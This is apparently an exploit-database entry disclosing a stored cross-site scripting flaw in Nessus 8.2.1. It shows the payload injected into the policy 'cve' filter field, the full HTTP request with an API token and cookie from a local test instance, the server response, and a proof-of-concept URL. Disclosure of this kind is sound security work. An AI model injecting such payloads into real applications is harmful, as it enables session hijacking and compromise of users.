Nessus 8.2.1 - Cross-Site Scripting

2019-02-05
ID: 100946
CVE: None
Download vulnerable application: None
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# Exploit Title: Nessus 8.2.1 | Stored Cross-Site Scripting
# Date: 29.01.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.tenable.com
# Software Link: https://www.tenable.com/downloads/nessus
# Version: 8.2.1
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XSS details: Stored

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XSS1 | Stored

URL
https://localhost:8834/policies

METHOD
Post

PARAMETER
value

PAYLOAD
\"><script>alert(1)</script>


Request

POST /policies HTTP/1.1
Host: localhost:8834
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost:8834/
Content-Type: application/json
X-API-Token: 9A8BB6D6-2297-47EF-8083-D1EC639444B4
X-Cookie: token=7856d1d4dfdeb394d00a3993b6c3829df42ba6dbebbcac45
Content-Length: 3467
DNT: 1
Connection: close

{"uuid":"939a2145-95e3-0c3f-f1cc-761db860e4eed37b6eee77f9e101","dynamicPluginFilters":{"joinOperator":"and","filters":[{"filter":"cve","quality":"eq","value":"\"><script>alert(1)</script>"}]},"credentials":{"add":{},"edit":{},"delete":[]},"settings":{"patch_audit_over_rexec":"no","patch_audit_over_rsh":"no","patch_audit_over_telnet":"no","additional_snmp_port3":"161","additional_snmp_port2":"161","additional_snmp_port1":"161","snmp_port":"161","http_login_auth_regex_nocase":"no","http_login_auth_regex_on_headers":"no","http_login_invert_auth_regex":"no","http_login_max_redir":"0","http_reauth_delay":"","http_login_method":"POST","enable_admin_shares":"no","start_remote_registry":"no","dont_use_ntlmv1":"yes","never_send_win_creds_in_the_clear":"yes","attempt_least_privilege":"no","ssh_client_banner":"OpenSSH_5.0","ssh_port":"22","ssh_known_hosts":"","region_hkg_pref_name":"yes","region_syd_pref_name":"yes","region_lon_pref_name":"yes","region_iad_pref_name":"yes","region_ord_pref_name":"yes","region_dfw_pref_name":"yes","microsoft_azure_subscriptions_ids":"","aws_use_https":"yes","aws_verify_ssl":"yes","aws_ui_region_type":"Rest of the World","aws_sa_east_1":"","aws_ap_south_1":"","aws_ap_southeast_2":"","aws_ap_southeast_1":"","aws_ap_northeast_3":"","aws_ap_northeast_2":"","aws_ap_northeast_1":"","aws_eu_north_1":"","aws_eu_central_1":"","aws_eu_west_3":"","aws_eu_west_2":"","aws_eu_west_1":"","aws_ca_central_1":"","aws_us_west_2":"","aws_us_west_1":"","aws_us_east_2":"","aws_us_east_1":"","enable_plugin_list":"no","audit_trail":"full","enable_plugin_debugging":"no","log_whole_attack":"no","max_simult_tcp_sessions_per_scan":"","max_simult_tcp_sessions_per_host":"","max_hosts_per_scan":"30","max_checks_per_host":"5","network_receive_timeout":"5","reduce_connections_on_congestion":"no","slice_network_addresses":"no","stop_scan_on_disconnect":"no","safe_checks":"yes","display_unreachable_hosts":"no","log_live_hosts":"no","reverse_lookup":"no","allow_post_scan_editing":"yes","silent_dependencies":"yes","report_superseded_patches":"yes","report_verbosity":"Normal","scan_malware":"no","enum_local_users_end_uid":"1200","enum_local_users_start_uid":"1000","enum_domain_users_end_uid":"1200","enum_domain_users_start_uid":"1000","request_windows_domain_info":"yes","scan_webapps":"no","test_default_oracle_accounts":"no","provided_creds_only":"yes","smtp_to":"[email protected][AUTO_REPLACED_IP]","smtp_from":"[email protected]","smtp_domain":"example.com","av_grace_period":"0","thorough_tests":"no","report_paranoia":"Normal","detect_ssl":"yes","check_crl":"no","enumerate_all_ciphers":"yes","cert_expiry_warning_days":"60","ssl_prob_ports":"Known SSL ports","svc_detection_on_all_ports":"yes","udp_scanner":"no","syn_scanner":"yes","syn_firewall_detection":"Automatic (normal)","verify_open_ports":"no","only_portscan_if_enum_failed":"yes","snmp_scanner":"yes","wmi_netstat_scanner":"yes","ssh_netstat_scanner":"yes","portscan_range":"default","unscanned_closed":"no","wol_wait_time":"5","wol_mac_addresses":"","scan_ot_devices":"no","scan_netware_hosts":"no","scan_network_printers":"no","ping_the_remote_host":"yes","udp_ping":"no","icmp_ping":"yes","icmp_ping_retries":"2","icmp_unreach_means_host_down":"no","tcp_ping":"yes","tcp_ping_dest_ports":"built-in","arp_ping":"yes","fast_network_discovery":"no","test_local_nessus_host":"yes","acls":[{"object_type":"policy","permissions":0,"type":"default"}],"description":"","name":"test"}}

Response

HTTP/1.1 200 OK
Cache-Control:
X-Frame-Options: DENY
Content-Type: application/json
Date: : Tue, 29 Jan 2019 12:44:04 GMT
Connection: close
Server: NessusWWW
X-Content-Type-Options: nosniff
Content-Length: 38
Expires: 0
Pragma:

{"policy_id":161,"policy_name":"test"}


PoC
URL
https://localhost:8834/#/scans/policies/161/config/dynamic-plugins
1.2.2-prod (www01)